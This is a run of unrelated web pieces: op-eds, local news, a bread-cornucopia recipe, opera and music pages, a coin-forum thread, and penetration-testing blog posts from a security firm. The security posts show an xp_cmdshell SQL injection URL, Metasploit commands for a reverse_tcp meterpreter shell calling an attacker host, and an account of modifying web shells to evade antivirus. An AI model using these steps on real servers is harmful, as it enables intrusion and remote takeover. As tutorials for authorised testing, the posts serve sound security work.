Importantly, these courses entail limited firearms training: According to law, students can fulfill the requirement by shooting fewer than 100 rounds of ammunition and spending only about two hours on the range. While the course provides baseline proficiency in target shooting, it does not provide experience in more realistic scenarios, such as shooting from an uncomfortable position or while moving. Often, students don't practice rapidly removing their guns from a holster and shooting, which is deceptively difficult under stress.
Why is so little time devoted to firearms handling?
The answer is that these classes aren't just about handling guns. For Americans who perceive the world as dangerous and insecure, the NRA helps them justify their choice to carry a gun by asking students to reflect on their commitment to protecting innocent life. Here is one excerpt from the "NRA Basics of Personal Protection in the Home," used in Michigan concealed-carry training classes: "If you do defend yourself, it is important in the aftermath to remember: You are a good person. ... You are a moral person. Your attacker was the one who chose a lifestyle and sequence of events that led to this encounter. You were morally justified in protecting yourself and your family. You have quite possibly saved the lives of others."
These kinds of statements serve to teach concealed carriers that their license marks them as a special citizen, someone who is willing to rise to the need to take a repugnant action -- the killing of another person -- in order to save innocent lives. Implicit in this is a practical message from the NRA that often gets lost in the national gun debate: You may well need to defend yourself and others.
This message depends on the assumption that crime happens, and the police cannot or will not be there when it does. This particularly resonates in places like Michigan, which has been known for its high crime rate since the 1970s. Although violent crime has decreased in Michigan (as in much of the nation) since then, it still outpaces national averages. In addition, public services, including the number of police on the streets, have been cut back in Michigan. In such contexts, the NRA is not just the no-compromise leader of the gun lobby, it is a service organization that provides people with tools for safety and protection.
While the gun control lobby is writing legislation, the NRA is providing individuals with more than rhetoric. Its power lies in its ability to tap into people's real and imagined fears to powerfully shape everyday politics related to crime, insecurity and policing in America -- something gun control activists may fail to fully understand and address.
Jennifer Carlson begins teaching in the sociology department at the University of Toronto next fall. She is a doctoral candidate at UC Berkeley. She wrote this for the Los Angeles Times.


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Pink Shirt Day helps to rally people against bullies
The Boys and Girls Clubs of Central Vancouver Island (BGCCVI) are focusing on generating awareness about anti-bullying for Pink Shirt Day this year.
"This year we're putting a focus on our clubs, our individual clubs, promoting anti-bullying in their programming," says Linda Thomas, manager of fundraising and community relations for BGCCVI.
"In the Comox Valley our out of school care programs will be doing specific activities with the kids — they'll be doing talks with them, they'll be doing activities centred around anti-bullying, so we're focusing more this year on awareness with the kids."
Thomas notes a focus on "teachable moments" which are used to teach kids through experience.
The sixth annual Pink Shirt Day is on Wednesday, Feb. 27, and it's designed to send a powerful message that bullying, in any form, is not OK.
BGCCVI launched Pink Shirt pins — which are small pink pins shaped like T-shirts — last year, and Thomas says they are once again available at the Comox Valley Club office.
The pins are $5 with proceeds going to support local Boys and Girls Club programming. The Comox Valley Club office is located at 367 11th St. in Courtenay, and it's open from 9 a.m. to 1 p.m. Monday to Thursday. Thomas also says people can call her at 250-338-7582 to make alternate arrangements.
Pink Shirt pins are designed to be worn all year long allowing wearers to show they are taking a stand against bullying all year.
She says Pink Shirt pins were successful last year and are proving successful again this year, noting Coastal Community Credit Union really jumped on board with them this year.
"We originally gave them 300 and then we gave them 50 more and they've sold all them and they need 17 more so that's 367 pins so Coastal Community Credit Union," she says of credit union employees enthusiasm for the pins. "That's fantastic for us to see something like that happen."
Meanwhile, Pink Shirt Day T-shirts are available at London Drugs, (in Driftwood Mall), as they have been for the entirety of the Pink Shirt Day initiative's life.
"We are proud to return as a staunch supporter and partner of the sixth annual Pink Shirt Day," says Wynne Powell, president and CEO of London Drugs in a news release. "We encourage everyone to support this important awareness campaign and purchase Pink Shirt Day T-shirts from London Drugs."
T-shirts are $9.80 each and proceeds go to Boys and Girls Club programming and the CKNW Orphans' Fund.
Thomas notes Pink Shirt Day T-shirts are available at Old Navy locations this year as well, of which there are none in the Comox Valley.
She adds helping youth understand bullying, and what to do if they see it happening is especially important.
"Kids and youth see bullying happen all the time and for us it's important that we teach the youth in our programs what to do if they see bullying, what to do if they're experiencing bullying, what to do if someone comes to them to talk about bullying," she says. "It's a valuable tool to have to know what to do…We want to encourage our kids and youth that are in our programming to not just stand by and let it happen, to speak our and to be advocates for those around them and themselves."
For more information on BGCCVI visit www.bgccvi.com and for more information on Pink Shirt Day, visit www.pinkshirtday.ca.


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Yay! What a handsome bundle of blessings :) I am so glad that everything went smoothly. I am sure am glad you are back to blogging too. You have been missed.
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AFTER admiring a crafty cornucopia at a local store, Jacquelyn decided to cook
up her own…one with a slightly different flavor. Instead of creating it from fabric or weaving one with reeds, this handcrafter turned to her kitchen for supplies—in the form of frozen bread dough and a disposable pizza pan she had handy—and wound up making a "knead" new horn of plenty for her family's harvest
celebrations. "I often use mine to serve food such as rolls, vegetables or chunks of cheese and sausage when we have get-togethers," Jacquelyn describes. "It looks equally festive stuffed with non-edibles like gourds, greens and nuts." Ready to roll out your cornucopia? Good! Just follow Jacquelyn's easy instructions here to season your table with harvest time crafting fun.
- Materials needed:
- Disposable round 12- to 14-inch aluminum pizza pan (solid or perforated)
- Cooking spray
- Baking sheet
- 2 loaves (1 pound each ) frozen bread dough, thawed (or homemade dough for two 1-pound loaves)
- 1 egg
- 1 tablespoon water
- Aluminum foil
- FIG 1 Making form from pizza tin.
- To make a form, roll pizza pan into a cone shape with a 5-inch circular opening, as in Fig. 1. Curve pointed end to one side to create cornucopia shape.
- Spray both the form and the baking sheet with cooking spray. Place form on the baking sheet.
- Roll each loaf of bread dough into a 15- x 9-inch rectangle, about 1/4 inch thick. Cut each rectangle into six 15- x 1-1/2-inch strips. Cover bread dough strips lightly with a towel.
- Starting at the curved point, wrap one strip around the form, overlapping strips by 1/2 inch as you wrap (see Fig. 2). Add additional strips as needed, pinching ends together to seal.
- FIG 2 Wrapping dough strips around form.
- Continue to wrap until you reach the circular opening of the form. Seal last dough strip underneath the cornucopia. (Any remaining bread dough may be shaped into rolls and baked as desired.)
- Cover with a towel and let dough rest 15 minutes. Beat egg and water together and brush over cornucopia.
- Bake at 350° for 20 minutes. Cover with foil; bake for another 20 minutes. Reduce heat to 250° bake 20 minutes more or until bread sounds hollow when tapped.
- Cool 10 minutes on a wire rack. Carefully remove form, compacting it as needed. Cool completely.
- Cornucopia may be made up to 5 days in advance. Store at room temperature, covered lightly with a towel.
- To use, place cornucopia on a tray or board. Fill with nuts, greens or herbs such as rosemary, cranberries, rolls, doughnut holes, gourds or other decorations as desired for a centerpiece. Yield: 1 Cornucopia.
Finished size: Cornucopia is 11 inches long x 8 inches wide (at widest point) x 5 inches tall (at tallest point).
Originally published as Baked Cornucopia in Country Woman
September/October 1995, p26
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SECFORCE invited to present at Athcon
Saturday, June 18th, 2011
SECFORCE was invited to present at Athcon conference, held in Athens during 2nd and 3rd June 2011.
AthCon is an annual IT security conference that takes place in Athens Greece designed to give a technical insight to the world of IT security. A realistic, practical view of current and evolving threats and security trends presented by top international security experts.
SECFORCE presented a talk called "What you didn't know about Metasploit", covering the history of the Metasploit Framework, architecture, exploitation and post-exploitation features.
The Metasploit Framework is mainly used for exploitation purposes during penetration testing engagements.
You can download the slides from the talk from our security research area.
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Exploiting SQL injection vulnerabilities with Metasploit
Thursday, January 27th, 2011
In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where xp_cmdshell is available to the attacker.
Given a penetration test to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute administrative stored procedures:
http://192.168.1.66/showproduct.asp?id=1;exec master..xp_cmdshell 'ping 192.168.1.64';–
If the request shown above is successful then arbitrary commands could be executed in the host. At this point, there are a number of options that would allow the tester to fully compromise the server. There are public tools which could aid the attacker to automate the take over process. This post will cover the use of a Metasploit module.
The mssql_payload_sqli module will execute any Windows payload on the target host. In this example we will execute meterpreter which is one of the payloads that offers great flexibility to the penetration tester.
It is necessary to specify the exact point where the SQL injection vulnerability is. We do that by entering the GET_PATH variable with an [SQLi] token. The token will be the place where the payload will be executed. The rest of the exploitation process is the same as any other vulnerability, this is the exploitation based on the URL shown above:
msf > use windows/mssql/mssql_payload_sqli msf exploit(mssql_payload_sqli) >
set GET_PATH http://192.168.1.66/ showproduct.asp?id=1;[SQLi];--
GET_PATH => http://192.168.1.66/ showproduct.asp?id=1;[SQLi];--
msf exploit(mssql_payload_sqli) > set RHOST 192.168.1.66 RHOST => 192.168.1.66 msf exploit(mssql_payload_sqli) >
set PAYLOAD windows/patchupmeterpreter/reverse_tcp PAYLOAD => windows/patchupmeterpreter/reverse_tcp msf exploit(mssql_payload_sqli) > set LHOST 192.168.1.64 LHOST => 192.168.1.64 msf exploit(mssql_payload_sqli) > set LPORT 80 LPORT => 80 msf exploit(mssql_payload_sqli) > exploit
After the exploitation the attacker will get a meterpreter shell.
SQL injection exploitation with Metasploit
If you want to use this code you can download it from Secforce security tools repository.
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Exploiting MS09-004 via SQL injection
Monday, January 24th, 2011
Recently we were performing an web application penetration test to one of our clients and identified a SQL injection vulnerability. The vulnerability allowed us to conduct a degree of fingerprinting on the remote server; however, the Microsoft SQL Server back-end database didn't allow to execute commands via the well known xp_cmdshell stored procedure.
Based on the fingerprinting information we identified that the database server was running an old and vulnerable version of MS SQL server. Microsoft SQL Sever 2000 SP3, to be precise.
All indicated that the server was vulnerable to MS09-004 vulnerability. However, it was not possible to get direct access to the database. Moreover no authentication credentials were discovered during the course of the assessment.
This is how our newly released Metasploit module was born. We coded an extension which can be added to Metasploit to exploit this vulnerability using a SQL injection vulnerability with no need of using credentials, as the web application will authenticate in our behalf.
Penetration testing - SQL injection exploitation
The screenshot above shows how to get meterpreter (or any other payload of your choice) exploiting the vulnerability from Metasploit.
If interested, get the scripts from our security tools area.
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Metasploit and SQL injection
Monday, January 17th, 2011
SECFORCE has released a set of scripts for enhancing Metasploit functionality exploiting SQL injection vulnerabilities. This is particularly useful in two scenarios:
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Penetration testing, antivirus, firewalls and false sense of security
Sunday, November 9th, 2008
False sense of security is an ongoing issue. Fueled by inaccurate marketing strategies promising the ultimate security product and convincing clients that their product will make your system immune to every single attack.
Security professionals are used to hear all kind of comments from clients caught up by false sense of security; the three most common mistakes are:
Client – My application must be secure, it is running over SSL. Penetration tester – That's good, your IDS will not pick up my attacks.
Client – My web application must be secure, it is protected by my firewall. Penetration tester – Sure enough your firewall is not going to filter web traffic on your web server.
Client – My server must be secure, it has an antivirus up to date. Penetration tester – Your antivirus will only pick up known signatures, it will not pick up my custom made scripts.
We recently performed a back box web application peneration test for a client who expresed (before the penetration test) how secure his application was as he deployed SSL on the application layer, antivirus on the server and everything was protected using a firewall.
During the penetration test we managed to find a page which allowed uploading arbitrary files to the web server. When we tried to upload some of the standard web shells we saw how the antivirus was detecting them and removing them from the server. It is fair to say that an antivirus in this case provides a very thin layer of security. After doing some modifications to the scripts we easily bypassed the antivirus protection.
In this example achieving command execution required another step as the user the web server was running as had not enough privileges. However, it was easy enough finding a high privilege username/password for the MS SQL database also running on the server. The next steps were:
– Creating a custom script which connected to the MS SQL database using a high privileged account. – Enabling xp_cmdshell stored procedures, as we found it disabled. – Enjoying command execution.
Once we got to this point it was easy to execute Metasploit Meterpreter to bypass firewall protection, tunneling services over HTTP.
In conclusion, SSL, antivirus and firewalls are essential parts on the security of an infrastructure, however they need to be properly implemented and they don't protect from all kinds of attacks.
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Penetration testing with IPv6
Tuesday, October 14th, 2008
Today has been released the Uninformed (number 10) magazine. As usual it is a very interesting read, with very nice and technical articles there. One of them caught my eye, written by H D Moore – Exploiting Tomorrow's Internet Today, Penetration testing with IPv6.
IPv6 is an Internet layer protocol designed to substitute the current IPv4. The article covers the basics of IPv6 such as configuration and addressing standards.
Later in the article the author some of the common tasks of penetration testing focusing on IPv6 protocol:
Network Discovery
Van Hauser's IPv6 Attack Toolkit contains a tool for this. The alive6 tool sends an ICMP6 packet using Neighbor Discovery protocol:
# alive6 eth0 Alive: fe80:0000:0000:0000:xxxx:xxff:fexx:xxxx Alive: fe80:0000:0000:0000:yyyy:yyff:feyy:yyyy Found 2 systems alive
Tools ip and ping6 can also be used for that:
# ping6 -c 3 -I eth0 ff02::1 >/dev/null 2>&1 # ip neigh | grep ^fe80 fe80::211:43ff:fexx:xxxx dev eth0 lladdr 00:11:43:xx:xx:xx fe80::21e:c9ff:fexx:xxxx dev eth0 lladdr 00:1e:c9:xx:xx:xx fe80::218:8bff:fexx:xxxx dev eth0 lladdr 00:18:8b:xx:xx:xx [...]
H D More also covers the use of Nmap and Metasploit against IPv6 hosts.
It is interesting the use of socat to 'translate' from IPv4 to IPv6 and then being able to use the common penetration testing tools:
$ socat TCP-LISTEN:8080,reuseaddr,fork TCP6:[IPv6%eth0]:80
In the example above socat creates and binds a local IPv4 port (8080) to a remote IPv6 service which was listening on port 80. After running the command above, the penetration tester can confortably use the common web assessment tools such as nikto o web proxies even if they don't natively support IPv6.
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Community Work Day sets aside LO and Lakeridge rivalries
On Monday students at Lakeridge High School and Lake Oswego High School set any rivalries aside and launched Community Work Day to raise money for the school district foundation.
For the second year in a row, students will do various jobs at local businesses for a minimum of four hours on the afternoon of April 18. The businesses participating have agreed to pay the students $8 per hour for the work performed and the money is put towards the foundation's annual campaign.
Students can be hired for a variety of tasks including landscaping, painting, cleaning, organizing, childcare, office work, data-entry, babysitting, telephone calls, etc.
This year's effort is themed '2 High Schools - 1 Community: Together We Can Make A Difference!'
Cindy Schubert, assistant principal at Lake Oswego High School, suggested the idea last year to students at LOHS based on her past experience with a student work day in Hood River. A total of 240 students participated.
This year, LOHS invited Lakeridge to join and the schools are combining efforts for, hopefully, greater impact.
'Our community continually works to support education and our high school students are wanting to get on board and support the foundation as well,' said Schubert. 'The students have gotten together to put this on, and their goal is to get as many students involved as possible.'
The event has multiple benefits. First, it accomplishes its goal of supporting the foundation's annual campaign to fund teacher salaries.
Second, it connects businesses with students. Anyone out driving or shopping on April 18 will notice participating students as those wearing blue T-shirts with the Work Day theme printed on them.
'It helps our community understand the great students they have in schools,' said Schubert. 'Some students even got summer jobs from the work day last year.'
It also unites both high schools for a common purpose. To encourage student participation, Community Work Day will culminate with a dance on Friday, May 9, for students of either school who participate.
Students who are interested in participating can approach a business and ask if they can be sponsored. There are a lot of students, however, who don't know what business to approach.
For that reason, Schubert hopes that local businesses will see Community Work Day as an opportunity to support education and go to the Web site and sign up to sponsor a student.
'I have a lot of students that are waiting for jobs. If there are any businesses that want to be involved, we can match the students with the job,' said Schubert.
Businesses can find participation forms on either Lakeridge or Lake Oswego Web site: http://loh.loswego.k12.or.us or http://lhs. loswego.k12.or.us. The deadline for the forms is April 15.


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THE willingness of the United Auto Workers Union to make contract concessions to help secure federal aid to the auto industry is a welcome, if somewhat belated, acknowledgement that the high cost of labor is a major factor in the industry's ongoing problems.
The Cadillac-style wage and benefit package that UAW members have enjoyed for years is the direct antecedent to the crushing pension and health-care expense Detroit's Big Three now struggle with in an effort to remain viable.
While many Americans - and, indeed, workers in other economic sectors - voice resentment that these generous contracts have made auto workers into a coddled blue-collar class, the UAW doesn't deserve all the blame. It merely succeeded at exploiting the willingness of a long line of weak industry executives who sought to buy labor peace by mollifying the rank and file.
When foreign manufacturers threatened in the 1960s, the UAW had a choice between protecting jobs and defending its upscale pay and perks. Unfortunately, it, with complicity from industry chiefs, chose to lard up wages and benefits, eventually including the jobs bank, a scheme that insulated workers from reality by giving them most of their pay even when they were laid off. As a result, the union's active membership dropped from a peak of 1.53 million in 1969, virtually all making cars, to fewer than 500,000 now, many in nonindustrial jobs.
UAW President Ron Gettelfinger, who has already presided over a host of union givebacks, indicated that he understands that further concessions are necessary if his members are to have any jobs at all.
Without agreeing to actually reopen UAW contracts at General Motors, Ford, and Chrysler, Mr. Gettelfinger said the union is willing to entertain contract changes, including phase-out of the jobs bank and a delay in company payments to the new union-run health-care fund, if the action will help convince Congress to provide $34 billion in loans needed to keep the industry afloat.
Workers on the shop floors in Toledo and Detroit may dislike the idea of such concessions but we have little doubt that, given the current and deepening recession, they now realize that the union's long-running gravy train has reached the end of the line.
Whether this fundamental shift in industry economics comes soon enough to do some good remains to be seen.


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Charlotte JonesI meant for it to be simple (I wanted this horse to be 'art' rather than 'a 3 dimensional object'). The horse isn't perfect, and I never meant for it to be :) I only meant for it to have this beautiful colour.
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Lance Arthur is one of the few people who inspired me enough that I had to quit everything and go work on the web (together with Derek Powazek, Shauna Wright and a few others). I haven't read him much these days, I'm ashamed to say. But the guy is clever and his designs always push things a little further. Happy tenth online anniversary, Lance.
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Sun-Times columnist Richard Roeper is feeling the effects of the poor housing market.
The one-time-co-host of "At the Movies" is named in a foreclosure case filed by U.S. Bank, Crain's reports.
Roeper allegedly missed payments on his $1.5-million dollar mortgage.
Thumbs down, Roeper.
His attorney says that Roeper has made the payment and brought his mortgage current since the suit was filed Nov. 17 in Cook County Circuit Court.
"The mortgage payments are connected to two deals that were late. When the money came in, the mortgage payments were made," attorney Todd Musburger told Crain's.
Roeper lives in the condo, but it's on the market. He currently owes about $1.45 million on the place.
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The name Malaki (pronounced "MALL.ACK.EYE") is renowned for his Joe Satriani tribute show, with such Satch greats as, Crystal Planet, Surfing with the aliens, Always with me Always with You, Love Thing, Ceremony, Friends, Summer song and many others. As well as Satriani he has been known to do Steve Vai's classic track "For the Love of God" - 'it is Awesome'
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"Following the success of the "Evolution" album which consisted predominantley of covers, Malaki began work on his next release, this time writing all original material. The album will include a track from the 1980's "20-20 Vision" Ep, plus orchestratral pieces such as "The Forest". 3 tracks have been accepted by a Castleford based production company for use by a cable channel on a forthcoming program. These tracks being "On the Edge", "Walk of the Warriors" and "Scotch mist". All tracks are completed for the "ORIGINALS" album and is now available for sale at a limited edition cost of £6.00 inc p&p in the U.K. Drive it being the last track written. (not on audio samples), rock covers band 3MD of which Malaki is guitarist, are taking up a lot of time with live dates, catch them soon."
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Dido and Æneas – Purcell
Christopher Hogwood, Wayne McGregor – Lucy Crowe (Belinda), Sarah Connolly (Dido) – Royal Opera House, Covent Garden
Dido and Æneas is Purcell's best loved and most frequently performed work today, it is also England's oldest full opera. In this production, the story based on Virgil's Æneid breathes new life thanks to the movements on stage and the settings.
Dido, Queen of Carthage, is in love with Æneas, who has sought refuge at her court following the burning of Troy at the end of the Trojan War. Out of loyalty to her dead husband and her country, she is unwilling to declare her love. Her maid Belinda urges her to tell Æneas her feelings and to be happy again in the aria "Shake the cloud from off your brow." When Æneas arrives and expresses his love for Dido, the queen gives way and admits that she loves him. Belinda leads the chorus in a celebration of the couple's betrothal.
But the Sorceress gathers all the evil creatures and the witches to draw up a plan to destruct the burgeoning love. One of the Sorceress's minion will go to Æneas disguised as Mercury in order to remind him of his duty and to tell him that he must leave the queen to found a new city in Italy. As the royal couple take a walk, a storm bursts and separates the two lovers. Æneas is visited by the counterfeit messenger of the gods and is told to leave Carthage. Being torn between his love and his duty, he announces to Dido that he must leave her. When she rejects him, Æneas decides to stay with her but it is too late and Dido dismisses him. She prepares for her own death, turning to Belinda again, begging her to remember her but to forget her tragic fate in the lament "When I am laid in earth."
Scottish choreographer Wayne McGregor's production of Dido and Æneas is a combination of ballet and opera, which reminds us of the original form of this work. The opera was written for Josiah Priest, a dance master who ran the Chelsea Boarding School for girls in London, where the premiere took place in 1689, with the residents executing the dance movements. In each instrumental intermezzo, the choreography emphasize the emotions of the characters and illustrate the story. Dancers also become part of the chorus at some points, blending movements with voices and instruments.
Photo: Bill Cooper
- For further information: watch Wayne Mc Gregor's interview, click here!
Wayne McGregor
choreography, stage director
Hildegard Bechtler
set designer
Fotini Dimou
Lucy Carter
Lucy Crowe (Belinda)
Sarah Connolly (Dido)
Anita Watson (Second Woman)
Lucas Meachem (Aeneas)
Eri Nakamura (Sorceress)
Eri Nakamura (First Witch)
Pumeza Matshikiza (Second Witch)
Iestyn Davies (Spirit)
Ji-Min Park (Sailor)
Dancers of the Royal Ballet
Julian Perkins harpsichord
Jan Čižmář theorbo
Andrew Skidmore cello
Steven Moore chamber organ
Orchestra of the Age of Enlightenment
Christopher Hogwood music director
The Royal Opera Extra Chorus
Stephen Westrop chorus master
Movie director : Jonathan Haswell
Playlists : Love Songs, Mythology and Opera
Musical period : Baroque music
Music genres : Voice, Music with choir
Duration : 01 h 01 min
Location : Royal Opera House, Covent Garden (London, Great Britain)
Production date : 2009
Production : © Royal Opera House / Opus Arte
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Antiquities All ancient non-coin objects. |
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a real time video of a metal detector enthusiast finding a gold aureus of Claudius!!!
This is a real time video of a metal detector enthusiast finding a gold aureus of Claudius!!!! Here is the description of the coin-from what I can see. Claudius. AD 41-54. AV Aureus (7.53 g, 6h). Rome mint. Struck AD 46-47. TI CLAVD CAESAR AVG P M TR P VI IMP XI, laureate head right / PACI AVGVSTAE, Pax-Nemesis advancing right, spitting into upper fold of drapery she lifts with her right hand, holding winged caduceus in her left hand; to right, serpent right. RIC I 38; von Kaenel type 24; Calicó 367; BMCRE 39; BN 49-50 (Lugdunum mint). How cool would this be? Joe Geranio Julio Claudian Iconographic Association
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Mar 15, 2012, 02:56 PM | #2 |
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Too bad it was not found by a collector
It is too bad it was not found by a collector who would want to keep the coin and not rush to put it up for sale. Although, as I understand it, they will have to report the coin to the authorities before they can sell it, if it is not found to be a significant coin and purchased by the government. I could be wrong.
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Mar 15, 2012, 08:20 PM | #3 |
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Im with you Paul, I would have kept it, find of a lifetime.
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